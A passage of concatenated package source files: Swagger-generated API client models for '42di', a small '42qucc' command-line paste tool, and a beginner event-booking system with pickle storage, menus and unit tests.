if hasattr(item[1], "to_dict") else item,
value.items()
))
else:
result[attr] = value
if issubclass(AnalysisJobDescriptionDatasource, dict):
for key, value in self.items():
result[key] = value
return result
def to_str(self):
"""Returns the string representation of the model"""
return pprint.pformat(self.to_dict())
def __repr__(self):
"""For `print` and `pprint`"""
return self.to_str()
def __eq__(self, other):
"""Returns true if both objects are equal"""
if not isinstance(other, AnalysisJobDescriptionDatasource):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other):
"""Returns true if both objects are not equal"""
return not self == other
|
42di
|
/42di-0.2.6.tar.gz/42di-0.2.6/swagger_client/models/analysis_job_description_datasource.py
|
analysis_job_description_datasource.py
|
# coding: utf-8
"""
42di API Reference
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501
OpenAPI spec version: 1.0
Contact: support@42docs.com
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
import pprint
import re # noqa: F401
import six
class Team(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
"""
"""
Attributes:
swagger_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
"""
swagger_types = {
'id': 'str',
'name': 'str',
'is_user_primary': 'bool',
'creator': 'str',
'created': 'datetime',
'last_modified': 'datetime'
}
attribute_map = {
'id': 'id',
'name': 'name',
'is_user_primary': 'is_user_primary',
'creator': 'creator',
'created': 'created',
'last_modified': 'last_modified'
}
def __init__(self, id=None, name=None, is_user_primary=None, creator=None, created=None, last_modified=None): # noqa: E501
"""Team - a model defined in Swagger""" # noqa: E501
self._id = None
self._name = None
self._is_user_primary = None
self._creator = None
self._created = None
self._last_modified = None
self.discriminator = None
self.id = id
if name is not None:
self.name = name
if is_user_primary is not None:
self.is_user_primary = is_user_primary
if creator is not None:
self.creator = creator
if created is not None:
self.created = created
if last_modified is not None:
self.last_modified = last_modified
@property
def id(self):
"""Gets the id of this Team. # noqa: E501
:return: The id of this Team. # noqa: E501
:rtype: str
"""
return self._id
@id.setter
def id(self, id):
"""Sets the id of this Team.
:param id: The id of this Team. # noqa: E501
:type: str
"""
if id is None:
raise ValueError("Invalid value for `id`, must not be `None`") # noqa: E501
self._id = id
@property
def name(self):
"""Gets the name of this Team. # noqa: E501
:return: The name of this Team. # noqa: E501
:rtype: str
"""
return self._name
@name.setter
def name(self, name):
"""Sets the name of this Team.
:param name: The name of this Team. # noqa: E501
:type: str
"""
self._name = name
@property
def is_user_primary(self):
"""Gets the is_user_primary of this Team. # noqa: E501
:return: The is_user_primary of this Team. # noqa: E501
:rtype: bool
"""
return self._is_user_primary
@is_user_primary.setter
def is_user_primary(self, is_user_primary):
"""Sets the is_user_primary of this Team.
:param is_user_primary: The is_user_primary of this Team. # noqa: E501
:type: bool
"""
self._is_user_primary = is_user_primary
@property
def creator(self):
"""Gets the creator of this Team. # noqa: E501
:return: The creator of this Team. # noqa: E501
:rtype: str
"""
return self._creator
@creator.setter
def creator(self, creator):
"""Sets the creator of this Team.
:param creator: The creator of this Team. # noqa: E501
:type: str
"""
self._creator = creator
@property
def created(self):
"""Gets the created of this Team. # noqa: E501
:return: The created of this Team. # noqa: E501
:rtype: datetime
"""
return self._created
@created.setter
def created(self, created):
"""Sets the created of this Team.
:param created: The created of this Team. # noqa: E501
:type: datetime
"""
self._created = created
@property
def last_modified(self):
"""Gets the last_modified of this Team. # noqa: E501
:return: The last_modified of this Team. # noqa: E501
:rtype: datetime
"""
return self._last_modified
@last_modified.setter
def last_modified(self, last_modified):
"""Sets the last_modified of this Team.
:param last_modified: The last_modified of this Team. # noqa: E501
:type: datetime
"""
self._last_modified = last_modified
def to_dict(self):
"""Returns the model properties as a dict"""
result = {}
for attr, _ in six.iteritems(self.swagger_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
value
))
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else item,
value.items()
))
else:
result[attr] = value
if issubclass(Team, dict):
for key, value in self.items():
result[key] = value
return result
def to_str(self):
"""Returns the string representation of the model"""
return pprint.pformat(self.to_dict())
def __repr__(self):
"""For `print` and `pprint`"""
return self.to_str()
def __eq__(self, other):
"""Returns true if both objects are equal"""
if not isinstance(other, Team):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other):
"""Returns true if both objects are not equal"""
return not self == other
|
42di
|
/42di-0.2.6.tar.gz/42di-0.2.6/swagger_client/models/team.py
|
team.py
|
# coding: utf-8
"""
42di API Reference
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501
OpenAPI spec version: 1.0
Contact: support@42docs.com
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
import pprint
import re # noqa: F401
import six
class Board(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
"""
"""
Attributes:
swagger_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
"""
swagger_types = {
'id': 'str',
'name': 'str',
'creator': 'str',
'created': 'datetime',
'last_modified': 'datetime'
}
attribute_map = {
'id': 'id',
'name': 'name',
'creator': 'creator',
'created': 'created',
'last_modified': 'last_modified'
}
def __init__(self, id=None, name=None, creator=None, created=None, last_modified=None): # noqa: E501
"""Board - a model defined in Swagger""" # noqa: E501
self._id = None
self._name = None
self._creator = None
self._created = None
self._last_modified = None
self.discriminator = None
self.id = id
if name is not None:
self.name = name
if creator is not None:
self.creator = creator
if created is not None:
self.created = created
if last_modified is not None:
self.last_modified = last_modified
@property
def id(self):
"""Gets the id of this Board. # noqa: E501
:return: The id of this Board. # noqa: E501
:rtype: str
"""
return self._id
@id.setter
def id(self, id):
"""Sets the id of this Board.
:param id: The id of this Board. # noqa: E501
:type: str
"""
if id is None:
raise ValueError("Invalid value for `id`, must not be `None`") # noqa: E501
self._id = id
@property
def name(self):
"""Gets the name of this Board. # noqa: E501
:return: The name of this Board. # noqa: E501
:rtype: str
"""
return self._name
@name.setter
def name(self, name):
"""Sets the name of this Board.
:param name: The name of this Board. # noqa: E501
:type: str
"""
self._name = name
@property
def creator(self):
"""Gets the creator of this Board. # noqa: E501
:return: The creator of this Board. # noqa: E501
:rtype: str
"""
return self._creator
@creator.setter
def creator(self, creator):
"""Sets the creator of this Board.
:param creator: The creator of this Board. # noqa: E501
:type: str
"""
self._creator = creator
@property
def created(self):
"""Gets the created of this Board. # noqa: E501
:return: The created of this Board. # noqa: E501
:rtype: datetime
"""
return self._created
@created.setter
def created(self, created):
"""Sets the created of this Board.
:param created: The created of this Board. # noqa: E501
:type: datetime
"""
self._created = created
@property
def last_modified(self):
"""Gets the last_modified of this Board. # noqa: E501
:return: The last_modified of this Board. # noqa: E501
:rtype: datetime
"""
return self._last_modified
@last_modified.setter
def last_modified(self, last_modified):
"""Sets the last_modified of this Board.
:param last_modified: The last_modified of this Board. # noqa: E501
:type: datetime
"""
self._last_modified = last_modified
def to_dict(self):
"""Returns the model properties as a dict"""
result = {}
for attr, _ in six.iteritems(self.swagger_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
value
))
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else item,
value.items()
))
else:
result[attr] = value
if issubclass(Board, dict):
for key, value in self.items():
result[key] = value
return result
def to_str(self):
"""Returns the string representation of the model"""
return pprint.pformat(self.to_dict())
def __repr__(self):
"""For `print` and `pprint`"""
return self.to_str()
def __eq__(self, other):
"""Returns true if both objects are equal"""
if not isinstance(other, Board):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other):
"""Returns true if both objects are not equal"""
return not self == other
|
42di
|
/42di-0.2.6.tar.gz/42di-0.2.6/swagger_client/models/board.py
|
board.py
|
# coding: utf-8
"""
42di API Reference
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501
OpenAPI spec version: 1.0
Contact: support@42docs.com
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
import pprint
import re # noqa: F401
import six
class ErrorMessage(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
"""
"""
Attributes:
swagger_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
"""
swagger_types = {
'code': 'str',
'message': 'str'
}
attribute_map = {
'code': 'code',
'message': 'message'
}
def __init__(self, code=None, message=None): # noqa: E501
"""ErrorMessage - a model defined in Swagger""" # noqa: E501
self._code = None
self._message = None
self.discriminator = None
if code is not None:
self.code = code
if message is not None:
self.message = message
@property
def code(self):
"""Gets the code of this ErrorMessage. # noqa: E501
:return: The code of this ErrorMessage. # noqa: E501
:rtype: str
"""
return self._code
@code.setter
def code(self, code):
"""Sets the code of this ErrorMessage.
:param code: The code of this ErrorMessage. # noqa: E501
:type: str
"""
self._code = code
@property
def message(self):
"""Gets the message of this ErrorMessage. # noqa: E501
:return: The message of this ErrorMessage. # noqa: E501
:rtype: str
"""
return self._message
@message.setter
def message(self, message):
"""Sets the message of this ErrorMessage.
:param message: The message of this ErrorMessage. # noqa: E501
:type: str
"""
self._message = message
def to_dict(self):
"""Returns the model properties as a dict"""
result = {}
for attr, _ in six.iteritems(self.swagger_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
value
))
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else item,
value.items()
))
else:
result[attr] = value
if issubclass(ErrorMessage, dict):
for key, value in self.items():
result[key] = value
return result
def to_str(self):
"""Returns the string representation of the model"""
return pprint.pformat(self.to_dict())
def __repr__(self):
"""For `print` and `pprint`"""
return self.to_str()
def __eq__(self, other):
"""Returns true if both objects are equal"""
if not isinstance(other, ErrorMessage):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other):
"""Returns true if both objects are not equal"""
return not self == other
|
42di
|
/42di-0.2.6.tar.gz/42di-0.2.6/swagger_client/models/error_message.py
|
error_message.py
|
# coding: utf-8
# flake8: noqa
"""
42di API Reference
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501
OpenAPI spec version: 1.0
Contact: support@42docs.com
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
# import models into model package
from swagger_client.models.algorithm import Algorithm
from swagger_client.models.analysis_job import AnalysisJob
from swagger_client.models.analysis_job_description import AnalysisJobDescription
from swagger_client.models.analysis_job_description_datasource import AnalysisJobDescriptionDatasource
from swagger_client.models.analysis_job_status import AnalysisJobStatus
from swagger_client.models.board import Board
from swagger_client.models.data_file import DataFile
from swagger_client.models.dataset import Dataset
from swagger_client.models.error_message import ErrorMessage
from swagger_client.models.insight import Insight
from swagger_client.models.patch_action import PatchAction
from swagger_client.models.project import Project
from swagger_client.models.project_sub import ProjectSub
from swagger_client.models.team import Team
from swagger_client.models.token import Token
from swagger_client.models.topic import Topic
from swagger_client.models.user import User
|
42di
|
/42di-0.2.6.tar.gz/42di-0.2.6/swagger_client/models/__init__.py
|
__init__.py
|
# coding: utf-8
"""
42di API Reference
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501
OpenAPI spec version: 1.0
Contact: support@42docs.com
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
import pprint
import re # noqa: F401
import six
class Algorithm(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
"""
"""
Attributes:
swagger_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
"""
swagger_types = {
'id': 'str',
'template': 'str',
'catalog': 'str',
'sort': 'int'
}
attribute_map = {
'id': 'id',
'template': 'template',
'catalog': 'catalog',
'sort': 'sort'
}
def __init__(self, id=None, template=None, catalog=None, sort=None): # noqa: E501
"""Algorithm - a model defined in Swagger""" # noqa: E501
self._id = None
self._template = None
self._catalog = None
self._sort = None
self.discriminator = None
self.id = id
if template is not None:
self.template = template
if catalog is not None:
self.catalog = catalog
if sort is not None:
self.sort = sort
@property
def id(self):
"""Gets the id of this Algorithm. # noqa: E501
:return: The id of this Algorithm. # noqa: E501
:rtype: str
"""
return self._id
@id.setter
def id(self, id):
"""Sets the id of this Algorithm.
:param id: The id of this Algorithm. # noqa: E501
:type: str
"""
if id is None:
raise ValueError("Invalid value for `id`, must not be `None`") # noqa: E501
self._id = id
@property
def template(self):
"""Gets the template of this Algorithm. # noqa: E501
:return: The template of this Algorithm. # noqa: E501
:rtype: str
"""
return self._template
@template.setter
def template(self, template):
"""Sets the template of this Algorithm.
:param template: The template of this Algorithm. # noqa: E501
:type: str
"""
self._template = template
@property
def catalog(self):
"""Gets the catalog of this Algorithm. # noqa: E501
:return: The catalog of this Algorithm. # noqa: E501
:rtype: str
"""
return self._catalog
@catalog.setter
def catalog(self, catalog):
"""Sets the catalog of this Algorithm.
:param catalog: The catalog of this Algorithm. # noqa: E501
:type: str
"""
self._catalog = catalog
@property
def sort(self):
"""Gets the sort of this Algorithm. # noqa: E501
:return: The sort of this Algorithm. # noqa: E501
:rtype: int
"""
return self._sort
@sort.setter
def sort(self, sort):
"""Sets the sort of this Algorithm.
:param sort: The sort of this Algorithm. # noqa: E501
:type: int
"""
self._sort = sort
def to_dict(self):
"""Returns the model properties as a dict"""
result = {}
for attr, _ in six.iteritems(self.swagger_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
value
))
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else item,
value.items()
))
else:
result[attr] = value
if issubclass(Algorithm, dict):
for key, value in self.items():
result[key] = value
return result
def to_str(self):
"""Returns the string representation of the model"""
return pprint.pformat(self.to_dict())
def __repr__(self):
"""For `print` and `pprint`"""
return self.to_str()
def __eq__(self, other):
"""Returns true if both objects are equal"""
if not isinstance(other, Algorithm):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other):
"""Returns true if both objects are not equal"""
return not self == other
|
42di
|
/42di-0.2.6.tar.gz/42di-0.2.6/swagger_client/models/algorithm.py
|
algorithm.py
|
sudo python setup.py install
|
42qucc
|
/42qucc-0.0.4.tar.gz/42qucc-0.0.4/in.sh
|
in.sh
|
sudo rm -rf 42qucc.egg-info
sudo rm -rf build
sudo rm -rf dist
|
42qucc
|
/42qucc-0.0.4.tar.gz/42qucc-0.0.4/rm.sh
|
rm.sh
|
#!/usr/bin/env python
#coding:utf-8
from setuptools import setup, find_packages
setup(
name='42qucc',
version="0.0.4",
description= """
A paste tool in CLI
""",
long_description="""
the following is the usage:
1.Paste file to 42qu.cc
hi@Mars ~$ 42qucc < foo.txt
http://42qu.cc/xa47qt471
2.Custom url
hi@Mars ~$ 42qucc hi < foo.txt
http://42qu.cc/hi
3.Save web page to local file
hi@Mars ~$ 42qucc http://42qu.cc/xa47qt471 > foo.txt
""",
author="42qu.com 42区",
author_email="admin@42qu.com",
url="http://42qu.cc/:help",
packages = ['cc42'],
zip_safe=False,
include_package_data=True,
install_requires = [
'requests>=0.13.3',
],
entry_points = {
'console_scripts': [
'42qucc=cc42.cc42:main',
],
},
)
if __name__ == "__main__":
import sys
if sys.getdefaultencoding() == 'ascii':
reload(sys)
sys.setdefaultencoding('utf-8')
|
42qucc
|
/42qucc-0.0.4.tar.gz/42qucc-0.0.4/setup.py
|
setup.py
|
#!/usr/bin/env python
#coding:utf-8
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
import urllib
import requests
import urllib2
import sys
import bz2
from os.path import join
HOST = '42qu.cc'
HOST_HTTP = 'http://%s'%HOST
API_URL = '%s/:api/txt/'%HOST_HTTP
def help():
print """
1.Paste file to 42qucc
hi@Mars ~$ 42cc < foo.txt
http://42qu.cc/xa47qt471
2.Custom url
hi@Mars ~$ 42qucc hi < foo.txt
http://42qu.cc/hi
3.Save web page to local file
hi@Mars ~$ 42cc http://42qu.cc/xa47qt471 > foo.txt
"""
def post(url=''):
data = ''.join(sys.stdin.readlines())
files = {'file': ('txt', bz2.compress(data) )}
r = requests.post(API_URL+url, files=files, timeout=300)
print HOST_HTTP+"/"+r.text
def main():
argv = sys.argv
url = ''
if len(argv) > 1:
if len(argv) > 2:
help()
return
url = argv[1]
if url.startswith(HOST_HTTP):
url = url[len(HOST_HTTP)+1:]
r = requests.get(API_URL+url, timeout=300)
print r.text
return
else:
url = argv[1].lstrip("/")
post(url)
if __name__ == '__main__':
main()
|
42qucc
|
/42qucc-0.0.4.tar.gz/42qucc-0.0.4/cc42/cc42.py
|
cc42.py
|
#!/usr/bin/env python
#coding:utf-8
if __name__ == "__main__":
import sys
if sys.getdefaultencoding() == 'ascii':
reload(sys)
sys.setdefaultencoding('utf-8')
|
42qucc
|
/42qucc-0.0.4.tar.gz/42qucc-0.0.4/cc42/__init__.py
|
__init__.py
|
# Event Management System Python
### Features : ---
1. Create An Event
2. View Events
3. Book Ticket
4. View Ticket
5. Condition Check If Customer Already Buy Same Event Ticket
6. Condition Check if All Tickets are sold Out.
7. Show Overall Event Summary
|
437-project
|
/437-project-1.3.tar.gz/437-project-1.3/README.md
|
README.md
|
from setuptools import setup
setup(
name='437-project',
version='1.3',
packages=['tests', 'src'],
url='https://github.com/tianakk/437-project',
license='Personal',
author='yousseffarouk',
author_email='mail@mail.com',
description='Event management system',
long_description='Using this event management system, a user can create events or book tickets for an event as '
'well as view all events and all tickets or get a summary of all tickets',
project_urls={
'Source': 'https://github.com/tianakk/437-project',
},
install_requires=['pytest', 'pytest-cov', 'prettytable'],
python_requires='>=3',
)
|
437-project
|
/437-project-1.3.tar.gz/437-project-1.3/setup.py
|
setup.py
|
# Event Management System
# Features :
# 1. Create An Event
# 2. View Events
# 3. Book Ticket
# 4. View Ticket
# 5. Condition Check If Customer Already Buy Same Event Ticket
# 6. Condition Check if All Tickets are sold Out.
# 7. Show Overall Event Summary
import pickle #Python pickle module is used for serializing and de-serializing a Python object structure
import os
import pathlib
from src.Ticket import Ticket
############################ Create Event Class
class Event:
eventname = ''
eventcode = ''
eventTotalAvaibleSeat = 10
def createEvent(self):
self.eventname= input("Enter Event Name: ")
self.eventcode = input("Enter Event Code: ")
self.eventTotalAvaibleSeat = input("Enter Event Total Availble Seats: ")
print("\n\n ------> Event Created!")
|
437-project
|
/437-project-1.3.tar.gz/437-project-1.3/src/Event.py
|
Event.py
|
############################### Book a Ticket Class
import os
import pathlib
import pickle
class Ticket:
name = ''
email = ''
event = ''
reference = 200000
def bookTicket(self):
self.name= input("Enter Customer Name: ")
self.email = input("Enter Customer Email: ")
file = pathlib.Path("events2.data")
if file.exists():
infile = open('events2.data', 'rb')
eventdetails = pickle.load(infile)
self.reference = input("Enter Reference Code(10000 - 50000) : ")
while True:
if int(self.reference) <= 10000:
print("Warning: Please Enter Valid Reference Code")
self.reference = input("Enter Reference Code(10000 - 50000) : ")
else:
break
for event in eventdetails:
print("Available Event Code : " + event.eventcode + " Event Name : " + event.eventname)
infile.close()
self.event = input("Enter Event Code: ")
def check(self):
file = pathlib.Path("tickets.data")
if file.exists():
if os.path.getsize(file) :
infile = open('tickets.data', 'rb')
ticketdetails = pickle.load(infile)
for ticket in ticketdetails:
if ticket.email == self.email and ticket.event == self.event:
return True
infile.close()
def gettotalticketcount(self):
file = pathlib.Path("events2.data")
if file.exists():
infile = open('events2.data', 'rb')
eventdetails = pickle.load(infile)
for event in eventdetails:
if event.eventcode == self.event:
return int(event.eventTotalAvaibleSeat)
infile.close
else:
return 0
def getBookedSeatCount(self):
file = pathlib.Path("tickets.data")
counter= 0
if file.exists():
if os.path.getsize(file) > 0 :
infile = open('tickets.data', 'rb')
ticketdetails = pickle.load(infile)
for ticket in ticketdetails:
if ticket.event == self.event:
counter = counter + 1
return int(counter)
infile.close()
return 0
|
437-project
|
/437-project-1.3.tar.gz/437-project-1.3/src/Ticket.py
|
Ticket.py
|
from src.Events import Events
class PartyEvent(Events):
eventname = ''
eventcode = ''
eventTotalAvaibleSeat = 10
eventType = ''
def createEvent(self):
self.eventType = "Party"
print("You are creating a Party Event")
self.eventname = input("Enter Event Name: ")
self.eventcode = input("Enter Event Code: ")
self.eventTotalAvaibleSeat = input("Enter Event Total Availble Seats: ")
print("\n\n ------> Event Created!")
|
437-project
|
/437-project-1.3.tar.gz/437-project-1.3/src/PartyEvent.py
|
PartyEvent.py
|
from src.Events import Events
class CharityEvent(Events):
eventname = ''
eventcode = ''
eventTotalAvaibleSeat = 10
eventType = ''
def createEvent(self):
self.eventType = "Charity"
print("You are creating a Charity Event")
self.eventname = input("Enter Event Name: ")
self.eventcode = input("Enter Event Code: ")
self.eventTotalAvaibleSeat = input("Enter Event Total Availble Seats: ")
print("\n\n ------> Event Created!")
|
437-project
|
/437-project-1.3.tar.gz/437-project-1.3/src/CharityEvent.py
|
CharityEvent.py
|
from src.Events import Events
class NetworkingEvent(Events):
eventname = ''
eventcode = ''
eventTotalAvaibleSeat = 10
eventType = ''
def createEvent(self):
self.eventType = "Networking"
print("You are creating a Networking Event")
self.eventname = input("Enter Event Name: ")
self.eventcode = input("Enter Event Code: ")
self.eventTotalAvaibleSeat = input("Enter Event Total Availble Seats: ")
print("\n\n ------> Event Created!")
|
437-project
|
/437-project-1.3.tar.gz/437-project-1.3/src/NetworkingEvent.py
|
NetworkingEvent.py
|
# Event Management System
# Features :
# 1. Create An Event
# 2. View Events
# 3. Book Ticket
# 4. View Ticket
# 5. Condition Check If Customer Already Buy Same Event Ticket
# 6. Condition Check if All Tickets are sold Out.
# 7. Show Overall Event Summary
import pickle #Python pickle module is used for serializing and de-serializing a Python object structure
import os
import pathlib
from src.Ticket import Ticket
from abc import ABC, abstractmethod
# Create Event Interface
class Events(ABC):
eventname = ''
eventcode = ''
eventTotalAvaibleSeat = 10
eventType = ''
@abstractmethod
def createEvent(self):
pass
|
437-project
|
/437-project-1.3.tar.gz/437-project-1.3/src/Events.py
|
Events.py
|
from src.Events import Events
class WorkshopEvent(Events):
eventname = ''
eventcode = ''
eventTotalAvaibleSeat = 10
eventType = ''
def createEvent(self):
self.eventType = "Workshop"
print("You are creating a Workshop Event")
self.eventname = input("Enter Event Name: ")
self.eventcode = input("Enter Event Code: ")
self.eventTotalAvaibleSeat = input("Enter Event Total Availble Seats: ")
print("\n\n ------> Event Created!")
|
437-project
|
/437-project-1.3.tar.gz/437-project-1.3/src/WorkshopEvent.py
|
WorkshopEvent.py
|
############################################## Main Program Modules
# Book Ticket and Check Condition
import os
import pathlib
import pickle
from src.Events import Events
from src.NetworkingEvent import NetworkingEvent
from src.PartyEvent import PartyEvent
from src.WorkshopEvent import WorkshopEvent
from src.CharityEvent import CharityEvent
from src.Ticket import Ticket
from prettytable import PrettyTable
def bookEventTicket():
ticket = Ticket()
ticket.bookTicket()
if ticket.check():
print("Warning : You Already Booked A Seat")
input('Press Enter To Return')
elif ticket.getBookedSeatCount() >= ticket.gettotalticketcount():
print("Warning : All Ticket Sold Out")
input('Press Enter To Return')
else:
print("Sucess : Ticket Booked!")
input('Press Enter To Continue')
saveTicketDetails(ticket)
# Save Ticket Detials to File
def saveTicketDetails(ticket):
file = pathlib.Path("tickets.data")
if file.exists():
infile = open('tickets.data', 'rb')
if os.path.getsize(file) > 0:
oldlist = pickle.load(infile)
oldlist.append(ticket)
infile.close()
os.remove('tickets.data')
else:
oldlist = [ticket]
else:
oldlist = [ticket]
outfile = open('tempTicket.data', 'wb')
pickle.dump(oldlist, outfile)
outfile.close()
os.rename('tempTicket.data', 'tickets.data')
# Display Saved Ticket Details
def getTicketDetails():
file = pathlib.Path("tickets.data")
if os.path.getsize(file) > 0:
infile = open('tickets.data', 'rb')
ticketdetails = pickle.load(infile)
print("---------------TICKET DETAILS---------------------")
t = PrettyTable(['T-Ref', 'C-Name', 'C-Email', 'E-Code'])
for ticket in ticketdetails :
t.add_row([ticket.reference, ticket.name, ticket.email, ticket.event])
print(t)
infile.close()
print("--------------------------------------------------")
input('Press Enter To Return To Main Menu')
else :
print("NO TICKET RECORDS FOUND")
input('Press Enter To Return')
# Create Event Module
def createCharityEvent():
event = CharityEvent()
event.createEvent()
saveEventDetails(event)
def createPartyEvent():
event = PartyEvent()
event.createEvent()
saveEventDetails(event)
def createNetworkingEvent():
event = NetworkingEvent()
event.createEvent()
saveEventDetails(event)
def createWorkshopEvent():
event = WorkshopEvent()
event.createEvent()
saveEventDetails(event)
# Save Event Details to File
def saveEventDetails(event):
file = pathlib.Path("events2.data")
if file.exists():
infile = open('events2.data', 'rb')
if os.path.getsize(file) > 0:
oldlist = pickle.load(infile)
oldlist.append(event)
infile.close()
os.remove('events2.data')
else:
oldlist = [event]
else:
oldlist = [event]
outfile = open('tempevents.data', 'wb')
pickle.dump(oldlist, outfile)
outfile.close()
os.rename('tempevents.data', 'events2.data')
# Display All Event Details
def getEventsDetails():
file = pathlib.Path("events2.data")
if file.exists ():
infile = open('events2.data','rb')
if os.path.getsize(file) > 0:
eventsdetails = pickle.load(infile)
print("---------------EVENT DETAILS---------------------")
t = PrettyTable(['E-Name', 'E-Code', 'E-Total-Seats', 'E-Type'])
for events in eventsdetails :
t.add_row([events.eventname, events.eventcode, events.eventTotalAvaibleSeat, events.eventType])
print(t)
infile.close()
print("--------------------------------------------------")
input('Press Enter To Return To Main Menu')
else:
print("NO EVENTS RECORDS FOUND")
input('Press Enter To Return')
else :
print("NO EVENTS RECORDS FOUND")
input('Press Enter To Return')
# Display Reports About Events
def getEventsSummary():
filetickets = pathlib.Path("tickets.data")
if os.path.getsize(filetickets) > 0 :
infiletickets = open('tickets.data', 'rb')
ticketdetails = pickle.load(infiletickets)
fileEvents = pathlib.Path("events2.data")
if fileEvents.exists ():
infileEvents = open('events2.data','rb')
eventdetails = pickle.load(infileEvents)
print("---------------REPORTS---------------------")
for events in eventdetails :
print("\n\nEvent Name : " + events.eventname + " | Total Seats : " + events.eventTotalAvaibleSeat + " \n")
for ticket in ticketdetails:
if events.eventcode == ticket.event:
print(ticket.reference, "\t", ticket.name, "\t", ticket.email)
infileEvents.close()
infiletickets.close()
print("--------------------------------------------------")
input('Press Enter To Return To Main Menu')
else :
print("NO EVENTS RECORDS FOUND")
input('Press Enter To Return')
else:
print("NO EVENTS RECORDS FOUND")
input('Press Enter To Return')
def createEvents():
ch = ''
num = 0
while ch != 8:
print("\t\t\t\t-----------------------")
print("\t\t\t\tEVENT MANAGEMENT SYSTEM")
print("\t\t\t\t-----------------------")
print("\tEVENT CREATION MENU")
print("\t1. CREATE CHARITY EVENT")
print("\t2. CREATE NETWORKING EVENT")
print("\t3. CREATE PARTY EVENT")
print("\t4. CREATE WORKSHOP EVENT")
print("\t5. BACK TO MAIN MENU")
print("\tSelect Your Option (1-5) ")
ch = input()
if ch == '1':
createCharityEvent()
elif ch == '2':
createNetworkingEvent()
elif ch == '3':
createPartyEvent()
elif ch == '4':
createWorkshopEvent()
elif ch == '5':
mainMenu()
def mainMenu():
ch = ''
num = 0
while ch != 8:
print("\t\t\t\t-----------------------")
print("\t\t\t\tEVENT MANAGEMENT SYSTEM")
print("\t\t\t\t-----------------------")
print("\tMAIN MENU")
print("\t1. BOOK TICKET")
print("\t2. VIEW TICKETS")
print("\t3. CREATE EVENT")
print("\t4. VIEW EVENTS")
print("\t5. SHOW SUMMARY")
print("\tSelect Your Option (1-5) ")
ch = input()
if ch == '1':
bookEventTicket()
elif ch == '2':
getTicketDetails()
elif ch == '3':
createEvents()
elif ch == '4':
getEventsDetails()
elif ch == '5':
getEventsSummary()
###################################################### Start Program
if __name__ == '__main__':
mainMenu()
|
437-project
|
/437-project-1.3.tar.gz/437-project-1.3/src/DriverClass.py
|
DriverClass.py
|
import unittest
from unittest import mock
import pytest as pytest
from src.CharityEvent import CharityEvent
from src.NetworkingEvent import NetworkingEvent
from src.PartyEvent import PartyEvent
from src.WorkshopEvent import WorkshopEvent
from src.Ticket import Ticket
from src import DriverClass as DriverClass
class MyTestCase(unittest.TestCase):
@mock.patch('src.CharityEvent.input', create=True)
def test_create_charity_event(self, mocked_input):
mocked_input.side_effect = ["CharityEvent", "500", "10"]
CharityEvent.createEvent(self)
expected_event = ["Charity", "CharityEvent", "500", "10"]
self.assertEqual([self.eventType, self.eventname, self.eventcode, self.eventTotalAvaibleSeat], expected_event)
@mock.patch('src.NetworkingEvent.input', create=True)
def test_create_networking_event(self, mocked_input):
mocked_input.side_effect = ["NetworkingEvent", "501", "10"]
NetworkingEvent.createEvent(self)
expected_event = ["Networking", "NetworkingEvent", "501", "10"]
self.assertEqual([self.eventType, self.eventname, self.eventcode, self.eventTotalAvaibleSeat], expected_event)
@mock.patch('src.PartyEvent.input', create=True)
def test_create_party_event(self, mocked_input):
mocked_input.side_effect = ["PartyEvent", "502", "10"]
PartyEvent.createEvent(self)
expected_event = ["Party", "PartyEvent", "502", "10"]
self.assertEqual([self.eventType, self.eventname, self.eventcode, self.eventTotalAvaibleSeat], expected_event)
@mock.patch('src.WorkshopEvent.input', create=True)
def test_create_workshop_event(self, mocked_input):
mocked_input.side_effect = ["WorkshopEvent", "503", "10"]
WorkshopEvent.createEvent(self)
expected_event = ["Workshop", "WorkshopEvent", "503", "10"]
